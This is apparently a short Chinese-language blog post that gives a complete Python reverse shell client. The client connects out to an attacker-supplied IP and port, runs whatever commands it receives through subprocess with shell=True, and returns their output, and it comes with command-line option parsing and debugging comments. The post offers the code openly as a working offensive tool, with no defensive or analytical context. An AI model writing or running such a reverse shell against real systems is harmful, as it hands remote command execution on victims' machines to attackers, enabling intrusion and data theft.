利用Python实现反向Shell客户端

import subprocess
import optparse
import sys
import socket

class ReverseShell:
    def __init__(self, server_ip, port):
        self.server_ip = server_ip
        self.port = port
        self.client_s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.client_s.connect((server_ip, self.port))
    

    def execute_command(self, command):
        try:
            res = subprocess.check_output(command, shell=True,stderr=subprocess.STDOUT, encoding='GBK')    #这里需要注意,需要加上encoding参数,否则会执行错误
            return res
        except:
            return 'Failed to execute'


    def start(self):
        while True:
            receive_data = self.client_s.recv(1024).decode('utf-8')
            # print(receive_data)
            if receive_data.strip() == 'q':              #这里需要特别注意,接收到的退出指令q后面有换行符,因此需要strip()掉,否则匹配不上
                break
            output = self.execute_command(receive_data)
            self.client_s.send(output.encode('utf-8'))
        self.client_s.close()
        



if __name__ == "__main__":
    parser = optparse.OptionParser(usage='<Program -s IP -p port')
    parser.add_option('-s', '--server', dest='server_ip', type='string', help="Sepcify the IP address of server")
    parser.add_option('-p', '--port', dest='port', type='int', help='Specify the port of server')
    options, args = parser.parse_args()
    if options.server_ip is None:
        print(parser.usage)
        sys.exit()
    if options.port is None:
        print(parser.usage)
    server_ip = options.server_ip
    port = options.port
    my_reserver_shell = ReverseShell(server_ip, port)
    my_reserver_shell.start()

 

posted @ 2022-04-06 12:15  Jason_huawen  阅读(134)  评论(0编辑  收藏  举报